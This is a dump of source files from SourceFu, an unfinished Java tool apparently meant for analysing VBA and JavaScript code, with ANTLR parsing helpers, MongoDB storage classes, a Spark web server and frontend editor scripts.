-------------------------------------------------------------------------------- 1 | package sourcefu.VBA.partialevaluator; 2 | 3 | import org.antlr.v4.runtime.ParserRuleContext; 4 | import org.antlr.v4.runtime.Token; 5 | 6 | /* 7 | * This class is only used to register replace operations in a map. This avoids the problem of having multiple rewrite operations at the same index. 8 | */ 9 | public class RewriteOperation { 10 | 11 | public Token start; 12 | public Token stop; 13 | public String replacement; 14 | 15 | public RewriteOperation(Token start, Token stop, String replacement) { 16 | this.start = start; 17 | this.stop = stop; 18 | this.replacement = replacement; 19 | } 20 | 21 | } 22 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/apiserver/APIServerUtils.java: -------------------------------------------------------------------------------- 1 | package sourcefu.apiserver; 2 | 3 | import java.nio.file.Files; 4 | import java.nio.file.Paths; 5 | 6 | import org.antlr.v4.runtime.BailErrorStrategy; 7 | import org.antlr.v4.runtime.CharStream; 8 | import org.antlr.v4.runtime.CharStreams; 9 | import org.antlr.v4.runtime.CommonTokenStream; 10 | import org.antlr.v4.runtime.misc.ParseCancellationException; 11 | 12 | import sourcefu.JS.antlr.JavaScriptLexer; 13 | import sourcefu.JS.antlr.JavaScriptParser; 14 | import sourcefu.VBA.antlr.VBALexer; 15 | import sourcefu.VBA.antlr.VBAParser; 16 | 17 | /*This class gives all methods used by the APIServer that are generic*/ 18 | public class APIServerUtils { 19 | 20 | /* this function does not work very well, and should be improved*/ 21 | public String getSampleLanguage(String initial_data) { 22 | CharStream input = CharStreams.fromString(initial_data); 23 | boolean parse = false; 24 | VBALexer lexer = new VBALexer(input); 25 | lexer.removeErrorListeners(); 26 | CommonTokenStream tokens = new CommonTokenStream(lexer); 27 | VBAParser parser = new VBAParser(tokens); 28 | parser.removeErrorListeners(); 29 | parser.setErrorHandler(new BailErrorStrategy()); 30 | try { 31 | parser.startRule(); 32 | parse = true; 33 | } catch (ParseCancellationException e) { 34 | } finally { 35 | if(parse) { 36 | return "VBA"; 37 | } 38 | } 39 | 40 | JavaScriptLexer lexer2 = new JavaScriptLexer(input); 41 | lexer2.removeErrorListeners(); 42 | CommonTokenStream tokens2 = new CommonTokenStream(lexer2); 43 | JavaScriptParser parser2 = new JavaScriptParser(tokens2); 44 | parser2.removeErrorListeners(); 45 | parser2.setErrorHandler(new BailErrorStrategy()); 46 | try { 47 | parser2.program(); 48 | parse = true; 49 | } catch (ParseCancellationException e) { 50 | } finally { 51 | if(parse) { 52 | return "JS"; 53 | } 54 | } 55 | return "undefined"; 56 | } 57 | 58 | } 59 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/database/Analysis.java: -------------------------------------------------------------------------------- 1 | package sourcefu.database; 2 | 3 | import java.util.ArrayList; 4 | import java.util.List; 5 | 6 | import org.bson.types.ObjectId; 7 | 8 | import dev.morphia.annotations.Entity; 9 | import dev.morphia.annotations.Id; 10 | 11 | @Entity("analysis_tbl") 12 | public class Analysis { 13 | @Id 14 | private ObjectId id; //eheh mongodb don't do the autoincrement thing, so we need to do it by yourselves 15 | private String name; 16 | private String language; 17 | private String filename; 18 | private String originalData; 19 | private enum status { 20 | unanalysed, ongoing, finished; 21 | } 22 | private Step currentStep; 23 | List steps = new ArrayList(); 24 | 25 | public Analysis() {} 26 | 27 | public Analysis(String name, String language) { 28 | this.setName(name); 29 | this.setLanguage(language); 30 | } 31 | 32 | public Analysis(String name, String language, String filename, String originalData) { 33 | this(name,language); 34 | this.filename = filename; 35 | this.originalData = originalData; 36 | } 37 | 38 | public ObjectId getId() { 39 | return id; 40 | } 41 | 42 | public void setId(ObjectId id) { 43 | this.id = id; 44 | } 45 | 46 | public String getName() { 47 | return name; 48 | } 49 | 50 | public void setName(String name) { 51 | this.name = name; 52 | } 53 | 54 | public String getLanguage() { 55 | return language; 56 | } 57 | 58 | public void setLanguage(String language) { 59 | this.language = language; 60 | } 61 | 62 | public String getOriginalData() { 63 | return originalData; 64 | } 65 | 66 | public void setOriginalData(String originalData) { 67 | this.originalData = originalData; 68 | } 69 | 70 | public Step getCurrentStep() { 71 | return currentStep; 72 | } 73 | 74 | public void setCurrentStep(Step currentStep) { 75 | this.currentStep = currentStep; 76 | } 77 | 78 | public String getFilename() { 79 | return filename; 80 | } 81 | 82 | public void setFilename(String originalFilename) { 83 | this.filename = originalFilename; 84 | } 85 | 86 | public void addStepAndSetCurrent(Step step) { 87 | this.steps.add(step); 88 | setCurrentStep(step); 89 | } 90 | 91 | public List getSteps() { 92 | return this.steps; 93 | } 94 | 95 | public List getStepsName() { 96 | List toReturn = new ArrayList(); 97 | for(Step step: this.getSteps()) { 98 | toReturn.add(step.getName()); 99 | } 100 | return toReturn; 101 | } 102 | 103 | public Step getStepbyName(String name) { 104 | for(Step step: this.getSteps()) { 105 | if (step.getName().equals(name)) { 106 | return step; 107 | } 108 | } 109 | return null; 110 | } 111 | 112 | } 113 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/database/AnalysisController.java: -------------------------------------------------------------------------------- 1 | package sourcefu.database; 2 | 3 | import java.util.List; 4 | 5 | import org.bson.types.ObjectId; 6 | 7 | import com.mongodb.DuplicateKeyException; 8 | 9 | import dev.morphia.Datastore; 10 | 11 | public class AnalysisController { 12 | 13 | static DatabaseHelper dbHelper = new DatabaseHelper(); 14 | static Datastore ds; 15 | 16 | public static String createAnalysis(Analysis analysis) { 17 | if(analysis == null) return "fail"; 18 | ds = dbHelper.getDataStore(); 19 | try { 20 | return ds.save(analysis).getId().toString(); 21 | } catch(DuplicateKeyException e) { 22 | return "fail"; 23 | } 24 | } 25 | 26 | public static List getAnalyses() { 27 | ds = dbHelper.getDataStore(); 28 | List analysesList = ds.createQuery(Analysis.class).asList(); 29 | return analysesList; 30 | } 31 | 32 | public static String getOriginalData(String analysisId) { 33 | ds = dbHelper.getDataStore(); 34 | ObjectId id = new ObjectId(analysisId); 35 | Analysis analysis = ds.createQuery(Analysis.class).field("id").equal(id).get(); 36 | return analysis.getOriginalData(); 37 | } 38 | 39 | public static Step getAnalysisStep(String analysisId, String stepId) { 40 | ds = dbHelper.getDataStore(); 41 | ObjectId id = new ObjectId(analysisId); 42 | Analysis analysis = ds.createQuery(Analysis.class).field("id").equal(id).get(); 43 | return analysis.getStepbyName(stepId); 44 | } 45 | 46 | public static Analysis getAnalysisById(String analysisId) { 47 | ds = dbHelper.getDataStore(); 48 | ObjectId id = new ObjectId(analysisId); 49 | Analysis analysis = ds.createQuery(Analysis.class).field("id").equal(id).get(); 50 | return analysis; 51 | } 52 | 53 | public static int deleteAnalysis(String analysisId) { 54 | ds = dbHelper.getDataStore(); 55 | ObjectId id = new ObjectId(analysisId); 56 | Analysis analysis = ds.createQuery(Analysis.class).field("id").equal(id).get(); 57 | if (analysis != null) { 58 | // for(Step step: analysis.getSteps()) { 59 | // Step pstep= ds.createQuery(Step.class).field("id").equal(step.getId()).get(); 60 | // ds.delete(pstep); 61 | // } 62 | ds.delete(analysis); 63 | return 0; 64 | } 65 | return 1; 66 | } 67 | 68 | public static int setNewStep(String analysisId, String stepName, String stepCode) { 69 | ds = dbHelper.getDataStore(); 70 | ObjectId id = new ObjectId(analysisId); 71 | Analysis analysis = ds.createQuery(Analysis.class).field("id").equal(id).get(); 72 | if (analysis == null) { 73 | return 1; 74 | } 75 | Step parentStep = analysis.getCurrentStep(); 76 | Step step = new Step(analysisId, stepName, stepCode, parentStep); 77 | analysis.addStepAndSetCurrent(step); 78 | System.out.println(analysis.getCurrentStep()); 79 | ds.save(analysis); 80 | return 0; 81 | } 82 | 83 | public static int setOriginalStep(String analysisId, String originalData) { 84 | int i = setNewStep(analysisId, "original", originalData); 85 | return i; 86 | } 87 | 88 | } 89 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/database/DatabaseHelper.java: -------------------------------------------------------------------------------- 1 | package sourcefu.database; 2 | 3 | import com.mongodb.MongoClient; 4 | 5 | import dev.morphia.Datastore; 6 | import dev.morphia.Morphia; 7 | import sourcefu.webserver.WebUtils; 8 | 9 | public class DatabaseHelper { 10 | 11 | /** 12 | * Constructor 13 | * cloud contacts 14 | */ 15 | private static Morphia morphia = new Morphia(); 16 | private static Datastore datastore = null; 17 | 18 | public DatabaseHelper() { 19 | // if(!morphia.isMapped(Contact.class)) { 20 | // morphia.map(Contact.class); 21 | // morphia.map(User.class); 22 | // initDatastore(); 23 | // } else { 24 | // logger.info("Database Class Mapped Already!"); 25 | // } 26 | morphia.mapPackage("sourcefu.database"); 27 | } 28 | 29 | 30 | 31 | void initDatastore() { 32 | MongoClient mongoClient; 33 | mongoClient = new MongoClient(WebUtils.Database.HOST, WebUtils.Database.PORT); 34 | datastore = morphia.createDatastore(mongoClient, WebUtils.Database.LOCAL_DBNAME); 35 | datastore.ensureIndexes(); 36 | } 37 | 38 | 39 | public Datastore getDataStore() { 40 | if(datastore == null) { 41 | initDatastore(); 42 | } 43 | return datastore; 44 | } 45 | 46 | } 47 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/database/Step.java: -------------------------------------------------------------------------------- 1 | package sourcefu.database; 2 | 3 | import org.bson.types.ObjectId; 4 | 5 | import dev.morphia.annotations.Entity; 6 | import dev.morphia.annotations.Id; 7 | 8 | @Entity("steps_tbl") 9 | public class Step { 10 | @Id 11 | private ObjectId id; 12 | private String analysisId; 13 | private String name; 14 | private String code; 15 | private Step parentStep; 16 | 17 | public Step() {} 18 | 19 | public Step(String analysisId, String name, String code, Step parentStep) { 20 | this.analysisId = analysisId; 21 | this.name = name; 22 | this.code = code; 23 | this.parentStep = parentStep; 24 | } 25 | 26 | public ObjectId getId() { 27 | return id; 28 | } 29 | public void setId(ObjectId id) { 30 | this.id = id; 31 | } 32 | public String getAnalysisId() { 33 | return analysisId; 34 | } 35 | public void setAnalysisId(String analysisId) { 36 | this.analysisId = analysisId; 37 | } 38 | public String getName() { 39 | return name; 40 | } 41 | public void setName(String name) { 42 | this.name = name; 43 | } 44 | public String getCode() { 45 | return code; 46 | } 47 | public void setCode(String code) { 48 | this.code = code; 49 | } 50 | public Step getParentStep() { 51 | return parentStep; 52 | } 53 | public void setParentStep(Step parentStep) { 54 | this.parentStep = parentStep; 55 | } 56 | 57 | 58 | 59 | } 60 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/helpers/ArithmeticHelper.java: -------------------------------------------------------------------------------- 1 | package sourcefu.helpers; 2 | 3 | public class ArithmeticHelper { 4 | 5 | public static Number unaryMinusNumber(Number a) { 6 | if (a instanceof Integer) { 7 | return (-1 * a.intValue()); 8 | }else if (a instanceof Float) { 9 | return (-1* a.floatValue()); 10 | }else if (a instanceof Long) { 11 | return (-1 * a.longValue()); 12 | }else if (a instanceof Double) { 13 | return (-1 * a.doubleValue()); 14 | }else { 15 | throw new RuntimeException("unable to calculate the unaryMinuxNumber"); 16 | } 17 | } 18 | 19 | } 20 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/helpers/FunctionSymbol.java: -------------------------------------------------------------------------------- 1 | package sourcefu.helpers; 2 | 3 | import java.util.LinkedHashMap; 4 | import java.util.Map; 5 | 6 | import sourcefu.VBA.helpers.Scope; 7 | import sourcefu.VBA.helpers.Symbol; 8 | 9 | public class FunctionSymbol extends Symbol implements Scope { 10 | 11 | public FunctionSymbol(String name) { 12 | super(name); 13 | // TODO Auto-generated constructor stub 14 | } 15 | // Map arguments = new LinkedHashMap(); 16 | // Map symbols = new LinkedHashMap(); 17 | // Scope enclosingScope; 18 | // 19 | // public FunctionSymbol(String name, Integer index, Scope enclosingScope) { 20 | // super(name, index); 21 | // this.enclosingScope = enclosingScope; 22 | // } 23 | // 24 | // public Symbol resolve(String name) { 25 | // Symbol s = arguments.get(name); 26 | // if ( s!=null ) return s; 27 | // // if not here, check any enclosing scope 28 | // if ( getEnclosingScope() != null ) { 29 | // return getEnclosingScope().resolve(name); 30 | // } 31 | // return null; // not found 32 | // } 33 | // 34 | // public boolean checkSymbolAdd(Symbol sym) { 35 | // if ( sym.name.equals(this.name)) { //is the identifier the function name? 36 | // return false; 37 | // } 38 | // 39 | // if (arguments.containsKey(sym.name)) { 40 | // for(Map.Entry entry:arguments.entrySet()) { 41 | // if((entry.getKey().equals(sym.name))&&(entry.getValue().index.equals(sym.index))) { 42 | // return false; 43 | // } 44 | // } 45 | // } 46 | // return true; 47 | // } 48 | // 49 | // public void define(Symbol sym) { 50 | // symbols.put(sym.name, sym); 51 | // sym.scope = this; // track the scope in each symbol 52 | // } 53 | // 54 | // public void defineArgs(Symbol sym) { 55 | // arguments.put(sym.name, sym); 56 | // sym.scope = this; // track the scope in each symbol 57 | // } 58 | // 59 | // public Scope getEnclosingScope() { return enclosingScope; } 60 | // public String getScopeName() { return name; } 61 | // 62 | // public String toString() { return "function"+super.toString()+":"+arguments.values()+":"+symbols.values(); } 63 | // 64 | @Override 65 | public String getScopeName() { 66 | // TODO Auto-generated method stub 67 | return null; 68 | } 69 | 70 | @Override 71 | public Scope getEnclosingScope() { 72 | // TODO Auto-generated method stub 73 | return null; 74 | } 75 | 76 | @Override 77 | public void define(Symbol sym) { 78 | // TODO Auto-generated method stub 79 | 80 | } 81 | 82 | @Override 83 | public Symbol resolve(String name) { 84 | // TODO Auto-generated method stub 85 | return null; 86 | } 87 | 88 | @Override 89 | public boolean checkSymbolAdd(Symbol sym) { 90 | // TODO Auto-generated method stub 91 | return false; 92 | } 93 | } 94 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/helpers/Undefined.java: -------------------------------------------------------------------------------- 1 | package sourcefu.helpers; 2 | public class Undefined { 3 | 4 | } 5 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/lib/CtxValue.java: -------------------------------------------------------------------------------- 1 | package sourcefu.lib; 2 | 3 | import org.antlr.v4.runtime.tree.ParseTree; 4 | import org.antlr.v4.runtime.tree.ParseTreeProperty; 5 | 6 | public class CtxValue { 7 | ParseTreeProperty values = new ParseTreeProperty(); 8 | 9 | public CtxValue() { 10 | 11 | } 12 | 13 | public void setValue(ParseTree node, Object value) { values.put(node, value); } 14 | 15 | public void setValueNumber(ParseTree node, Number value) { 16 | if (value instanceof Integer) { 17 | values.put(node, (Integer)value); 18 | } 19 | else if (value instanceof Float) { 20 | values.put(node, (Float)value); 21 | } 22 | else if (value instanceof Double) { 23 | values.put(node, (Double)value); 24 | } 25 | else if (value instanceof Long) { 26 | values.put(node, (Long)value); 27 | } 28 | else { 29 | throw new RuntimeException("trying to add two things not in range"); 30 | } 31 | 32 | } 33 | 34 | @SuppressWarnings("unchecked") 35 | public T getValue(ParseTree node) { 36 | return (T)values.get(node); 37 | } 38 | 39 | } 40 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/lib/Infos.java: -------------------------------------------------------------------------------- 1 | package sourcefu.lib; 2 | 3 | public class Infos { 4 | 5 | public Infos() { 6 | System.out.println("\n"); 7 | System.out.println("SourceFu, version 0.0001, a huge work in progress - https://github.com/Big5-sec/SourceFu/"); 8 | System.out.println("Please report any issue, or don't hesitate to contribute!"); 9 | System.out.println("\n"); 10 | } 11 | 12 | } 13 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/lib/Logo.java: -------------------------------------------------------------------------------- 1 | package sourcefu.lib; 2 | 3 | import java.util.ArrayList; 4 | import java.util.Random; 5 | 6 | public class Logo { 7 | 8 | ArrayList logos = new ArrayList(); 9 | 10 | public Logo() { 11 | initialize(); 12 | System.out.println(randomize()); 13 | } 14 | 15 | 16 | public void initialize() { 17 | String s0 = ""; 18 | 19 | String s1 = " _______ _______ _______ _______ _______ _______ \n"+ 20 | "( ____ \\( ___ )|\\ /|( ____ )( ____ \\( ____ \\( ____ \\|\\ /| \n"+ 21 | "| ( \\/| ( ) || ) ( || ( )|| ( \\/| ( \\/| ( \\/| ) ( | \n"+ 22 | "| (_____ | | | || | | || (____)|| | | (__ | (__ | | | | \n"+ 23 | "(_____ )| | | || | | || __)| | | __) | __) | | | | \n"+ 24 | " ) || | | || | | || (\\ ( | | | ( | ( | | | | \n"+ 25 | "/\\____) || (___) || (___) || ) \\ \\__| (____/\\| (____/\\| ) | (___) | \n"+ 26 | "\\_______)(_______)(_______)|/ \\__/(_______/(_______/|/ (_______) \n" ; 27 | this.logos.add(s1); 28 | 29 | String s2 = " .-'''-. ,-----. ___ _ .-------. _______ .-''-. ________ ___ _ \n" + 30 | " / _ \\ .' .-, '. .' | | || _ _ \\ / __ \\ .'_ _ \\ | |.' | | | \n" + 31 | " (`' )/`--' / ,-.| \\ _ \\ | .' | || ( ' ) | | ,_/ \\__) / ( ` ) '| .----'| .' | | \n" + 32 | "(_ o _). ; \\ '_ / | :.' '_ | ||(_ o _) / ,-./ ) . (_ o _) || _|____ .' '_ | | \n" + 33 | " (_,_). '. | _`,/ \\ _/ |' ( \\.-.|| (_,_).' __ \\ '_ '`) | (_,_)___||_( )_ |' ( \\.-.| \n" + 34 | ".---. \\ :: ( '\\_/ \\ ;' (`. _` /|| |\\ \\ | | > (_) ) __' \\ .---.(_ o._)__|' (`. _` /| \n" + 35 | "\\ `-' | \\ `\"/ \\ ) / | (_ (_) _)| | \\ `' /( . .-'_/ )\\ `-' /|(_,_) | (_ (_) _) \n" + 36 | " \\ / '. \\_/``\".' \\ / . \\ /| | \\ / `-'`-' / \\ / | | \\ / . \\ / \n" + 37 | " `-...-' '-----' ``-'`-'' ''-' `'-' `._____.' `'-..-' '---' ``-'`-'' "; 38 | this.logos.add(s2); 39 | } 40 | 41 | public String randomize () { 42 | Random random = new Random (); 43 | random.setSeed (System.currentTimeMillis ()); 44 | int index = random.nextInt (this.logos.size ()); 45 | return this.logos.get(index); 46 | } 47 | /* 48 | 49 | 50 | logos.append(""" 51 | .-'''-. ,-----. ___ _ .-------. _______ .-''-. ________ ___ _ 52 | / _ \ .' .-, '. .' | | || _ _ \ / __ \ .'_ _ \ | |.' | | | 53 | (`' )/`--' / ,-.| \ _ \ | .' | || ( ' ) | | ,_/ \__) / ( ` ) '| .----'| .' | | 54 | (_ o _). ; \ '_ / | :.' '_ | ||(_ o _) / ,-./ ) . (_ o _) || _|____ .' '_ | | 55 | (_,_). '. | _`,/ \ _/ |' ( \.-.|| (_,_).' __ \ '_ '`) | (_,_)___||_( )_ |' ( \.-.| 56 | .---. \ :: ( '\_/ \ ;' (`. _` /|| |\ \ | | > (_) ) __' \ .---.(_ o._)__|' (`. _` /| 57 | \ `-' | \ `"/ \ ) / | (_ (_) _)| | \ `' /( . .-'_/ )\ `-' /|(_,_) | (_ (_) _) 58 | \ / '. \_/``".' \ / . \ /| | \ / `-'`-' / \ / | | \ / . \ / 59 | `-...-' '-----' ``-'`-'' ''-' `'-' `._____.' `'-..-' '---' ``-'`-'' """) 60 | 61 | 62 | print(color(random.choice(logos), random.randrange(31, 37))) 63 | print 64 | print(" SourceFu 0.01") 65 | print(" www.nowhere.org") 66 | print(" Copyright (c) 2017-infinite") 67 | print 68 | sys.stdout.flush() 69 | 70 | */ 71 | 72 | } 73 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/lib/Printing.java: -------------------------------------------------------------------------------- 1 | package sourcefu.lib; 2 | 3 | import java.io.IOException; 4 | import java.nio.charset.Charset; 5 | import java.nio.file.Files; 6 | import java.nio.file.Path; 7 | import java.nio.file.Paths; 8 | import java.util.List; 9 | 10 | public class Printing { 11 | 12 | public void printSidebySide(String s1, String s2) { 13 | String[] lines1 = s1.split("\n"); 14 | String[] lines2 = s2.split("\n"); 15 | 16 | if(lines1.length > lines2.length) { 17 | for(int i=0;i lines1.length) { 24 | for(int i=0;i 17 | * ProxyParseTreeListener proxy = new ProxyParseTreeListener(); 18 | * ParseTreeListener listener1 = ... ; 19 | * ParseTreeListener listener2 = ... ; 20 | * proxy.add( listener1 ); 21 | * proxy.add( listener2 ); 22 | * ParseTreeWalker.DEFAULT.walk( proxy, ctx ); 23 | * 24 | */ 25 | public class ProxyParseTreeListener implements ParseTreeListener { 26 | private List listeners; 27 | 28 | /** 29 | * Creates a new proxy without an empty list of listeners. Add 30 | * listeners before walking the tree. 31 | */ 32 | public ProxyParseTreeListener() { 33 | // Setting the listener to null automatically instantiates a new list. 34 | this( null ); 35 | } 36 | 37 | /** 38 | * Creates a new proxy with the given list of listeners. 39 | * 40 | * @param listeners A list of listerners to receive events. 41 | */ 42 | public ProxyParseTreeListener( List listeners ) { 43 | setListeners( listeners ); 44 | } 45 | 46 | @Override 47 | public void enterEveryRule( ParserRuleContext ctx ) { 48 | for( ParseTreeListener listener : getListeners() ) { 49 | listener.enterEveryRule( ctx ); 50 | ctx.enterRule( listener ); 51 | } 52 | } 53 | 54 | @Override 55 | public void exitEveryRule( ParserRuleContext ctx ) { 56 | for( ParseTreeListener listener : getListeners() ) { 57 | ctx.exitRule( listener ); 58 | listener.exitEveryRule( ctx ); 59 | } 60 | } 61 | 62 | @Override 63 | public void visitErrorNode( ErrorNode node ) { 64 | for( ParseTreeListener listener : getListeners() ) { 65 | listener.visitErrorNode( node ); 66 | } 67 | } 68 | 69 | @Override 70 | public void visitTerminal( TerminalNode node ) { 71 | for( ParseTreeListener listener : getListeners() ) { 72 | listener.visitTerminal( node ); 73 | } 74 | } 75 | 76 | /** 77 | * Adds the given listener to the list of event notification recipients. 78 | * 79 | * @param listener A listener to begin receiving events. 80 | */ 81 | public void add( ParseTreeListener listener ) { 82 | getListeners().add( listener ); 83 | } 84 | 85 | /** 86 | * Removes the given listener to the list of event notification recipients. 87 | * 88 | * @param listener A listener to stop receiving events. 89 | * @return false The listener was not registered to receive events. 90 | */ 91 | public boolean remove( ParseTreeListener listener ) { 92 | return getListeners().remove( listener ); 93 | } 94 | 95 | /** 96 | * Returns the list of listeners. 97 | * 98 | * @return The list of listeners to receive tree walking events. 99 | */ 100 | private List getListeners() { 101 | return this.listeners; 102 | } 103 | 104 | /** 105 | * Changes the list of listeners to receive events. If the given list of 106 | * listeners is null, an empty list will be created. 107 | * 108 | * @param listeners A list of listeners to receive tree walking 109 | * events. 110 | */ 111 | public void setListeners( List listeners ) { 112 | if( listeners == null ) { 113 | listeners = createParseTreeListenerList(); 114 | } 115 | 116 | this.listeners = listeners; 117 | } 118 | 119 | /** 120 | * Creates a CopyOnWriteArrayList to permit concurrent mutative 121 | * operations. 122 | * 123 | * @return A thread-safe, mutable list of event listeners. 124 | */ 125 | protected List createParseTreeListenerList() { 126 | return new CopyOnWriteArrayList(); 127 | } 128 | } -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/webserver/WebServer.java: -------------------------------------------------------------------------------- 1 | package sourcefu.webserver; 2 | import static spark.Spark.*; 3 | 4 | import java.util.ArrayList; 5 | import java.util.HashMap; 6 | import java.util.List; 7 | import java.util.Map; 8 | 9 | import org.apache.commons.lang.StringEscapeUtils; 10 | 11 | import sourcefu.apiserver.APIServer; 12 | import sourcefu.database.Analysis; 13 | import sourcefu.database.AnalysisController; 14 | import spark.ModelAndView; 15 | import spark.template.velocity.VelocityTemplateEngine; 16 | import spark.utils.StringUtils; 17 | 18 | public class WebServer { 19 | 20 | public WebServer () { 21 | staticFiles.location("/public"); 22 | get("/", (req, res) -> renderHomePage()); 23 | get("/newAnalysis", (req, res) -> renderNewAnalysisPage()); 24 | get("/editAnalysis/:analysisId", (req, res) -> renderEditAnalysis());//Integer.parseInt(req.params("analysisId")))); 25 | get("/workAnalysis/:analysisId", (req, res) -> renderWorkAnalysis(req.params("analysisId")));//Integer.parseInt(req.params("analysisId")))); 26 | APIServer apiServer = new APIServer(); 27 | } 28 | 29 | private static String renderTemplate(String template, Map model) { 30 | return new VelocityTemplateEngine().render(new ModelAndView(model, template)); 31 | } 32 | 33 | private static String renderHomePage(){ 34 | Map model = new HashMap<>(); 35 | model.put("analyses", AnalysisController.getAnalyses()); 36 | return renderTemplate(WebUtils.Templates.HOME,model); 37 | } 38 | 39 | private String renderNewAnalysisPage() { 40 | Map model = new HashMap<>(); 41 | return renderTemplate(WebUtils.Templates.NEWANALYSIS,model); 42 | } 43 | 44 | private static String renderEditAnalysis(/*Integer analysisId*/){ 45 | Map model = new HashMap<>(); 46 | return renderTemplate(WebUtils.Templates.EDITANALYSIS,model); 47 | } 48 | 49 | private static String renderWorkAnalysis(String analysisId){ 50 | Map model = new HashMap<>(); 51 | Analysis analysis = AnalysisController.getAnalysisById(analysisId); 52 | model.put("original", StringEscapeUtils.escapeHtml(analysis.getOriginalData())); 53 | model.put("analysisId",analysisId); 54 | model.put("current_step", analysis.getCurrentStep()); 55 | model.put("current_step_code", StringEscapeUtils.escapeHtml(analysis.getCurrentStep().getCode())); 56 | model.put("steps_name", analysis.getStepsName()); 57 | model.put("analysis_filename",analysis.getFilename()); 58 | model.put("analysis_language", analysis.getLanguage()); 59 | return renderTemplate(WebUtils.Templates.WORKANALYSIS,model); 60 | } 61 | } 62 | 63 | 64 | 65 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/webserver/WebUtils.java: -------------------------------------------------------------------------------- 1 | package sourcefu.webserver; 2 | 3 | public class WebUtils { 4 | 5 | public WebUtils() {} 6 | 7 | public static class Templates { 8 | public static String HOME = "templates/home.vm"; 9 | public static String NEWANALYSIS = "templates/newanalysis.vm"; 10 | public static String WORKANALYSIS = "templates/workanalysis.vm"; 11 | public static String EDITANALYSIS = "templates/editanalysis.vm"; 12 | } 13 | 14 | public static class Database { 15 | public static String HOST = "localhost"; 16 | public static int PORT = 27017; 17 | public static String LOCAL_DBNAME = "sourcefu_db"; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /sourcefu/src/main/resources/public/functions.js: -------------------------------------------------------------------------------- 1 | //the following are editor functions 2 | 3 | 4 | //this function permits to gather the code within the editor of the web page 5 | function gatherCode() { 6 | var originalDiv = $('#workpane'); 7 | var editor = originalDiv.next('.CodeMirror')[0].CodeMirror; 8 | return editor.getTextArea().innerText; 9 | } 10 | 11 | //function setting a new step for the analysis 12 | // it gathers the value of the text area next to the "new step" link 13 | // then realizes some fetch to update the internal status of the analysis 14 | // finally, the list of steps for select is updated. 15 | function setNewStep() { 16 | var stepName = $('#new-step-name') 17 | if (stepName == ''){ 18 | $('#my-message').innerHTML = "cannot set a new step with an empty name" 19 | $("#my-popup").modal(); 20 | return; 21 | } 22 | var stepCode = gatherCode(); 23 | var data = new FormData(); 24 | data.append('code', stepCode); 25 | data.append('name',stepName); 26 | data.append('analysisId',analysisId); 27 | fetch('/api/analysis/createNewStep', { 28 | method: 'POST', 29 | body:data 30 | }).then(function(response) { 31 | return response.json(); 32 | }).then(function(myJson) { 33 | if(myJson.status == 'OK') { 34 | $('#my-message').innerHTML = "cannot set a new step with an empty name" 35 | } else { 36 | $('#message-label').innerHTML = "OK" 37 | $('#my-message').innerHTML = "step added" 38 | } 39 | $("#my-popup").modal(); 40 | }) 41 | } 42 | 43 | function loadAvailableSteps() { 44 | fetch('api/analysis/AnalysisSteps/'+analysisId).then(function(response) { 45 | return response.json(); 46 | }).then(function(myJson) { 47 | if(myJson.status == 'OK') { 48 | out.innerHTML = "
"+myJson.output+"
"; 49 | } else { 50 | out.innerHTML = "
an error occured!
"; 51 | } 52 | }) 53 | } 54 | 55 | function loadStep() { 56 | var stepList = $('#step-list'); 57 | var stepToLoad = stepList[0].value; 58 | console.log(stepToLoad); 59 | } 60 | 61 | 62 | 63 | 64 | //the following are operations functions 65 | 66 | function deletecomments() { 67 | var out = document.querySelector("#output123"); 68 | out.innerHTML = "
 Loading... please wait
"; 69 | var currentcode = gatherCode(); 70 | var data = new FormData(); 71 | data.append('input', currentcode); 72 | fetch('/api/actions/deleteComments', { 73 | method: 'POST', 74 | body:data 75 | }).then(function(response) { 76 | return response.json(); 77 | }).then(function(myJson) { 78 | if(myJson.status == 'OK') { 79 | out.innerHTML = "
"+myJson.output+"
"; 80 | } else { 81 | out.innerHTML = "
an error occured!
"; 82 | } 83 | }) 84 | } 85 | 86 | function newOperation() { 87 | var operation = $('#operation-select')[0].value; 88 | var code = gatherCode(); 89 | var data = new FormData(); 90 | data.append('operation', operation); 91 | data.append('code', code); 92 | data.append('setnewstep', false); 93 | fetch('/api/actions/newOperation', { 94 | method: 'POST', 95 | body: data 96 | }) 97 | } 98 | 99 | function make_steps_diagram() { 100 | var GO = go.GraphObject.make; 101 | var myDiagram = 102 | GO(go.Diagram, "my-diagram-div" 103 | { 104 | "undoManager.isEnabled": true // enable Ctrl-Z to undo and Ctrl-Y to redo 105 | }); 106 | var myModel = GO(go.Model); 107 | model.nodeDataArray = [ 108 | { key: "Alpha" }, 109 | { key: "Beta" }, 110 | { key: "Gamma" } 111 | ]; 112 | myDiagram.model = myModel; 113 | } 114 | -------------------------------------------------------------------------------- /sourcefu/src/main/resources/public/hehe_fichiers/merge.css: -------------------------------------------------------------------------------- 1 | .CodeMirror-merge { 2 | position: relative; 3 | border: 1px solid #ddd; 4 | white-space: pre; 5 | } 6 | 7 | .CodeMirror-merge, .CodeMirror-merge .CodeMirror { 8 | height: 350px; 9 | } 10 | 11 | .CodeMirror-merge-2pane .CodeMirror-merge-pane { width: 47%; } 12 | .CodeMirror-merge-2pane .CodeMirror-merge-gap { width: 6%; } 13 | .CodeMirror-merge-3pane .CodeMirror-merge-pane { width: 31%; } 14 | .CodeMirror-merge-3pane .CodeMirror-merge-gap { width: 3.5%; } 15 | 16 | .CodeMirror-merge-pane { 17 | display: inline-block; 18 | white-space: normal; 19 | vertical-align: top; 20 | } 21 | .CodeMirror-merge-pane-rightmost { 22 | position: absolute; 23 | right: 0px; 24 | z-index: 1; 25 | } 26 | 27 | .CodeMirror-merge-gap { 28 | z-index: 2; 29 | display: inline-block; 30 | height: 100%; 31 | -moz-box-sizing: border-box; 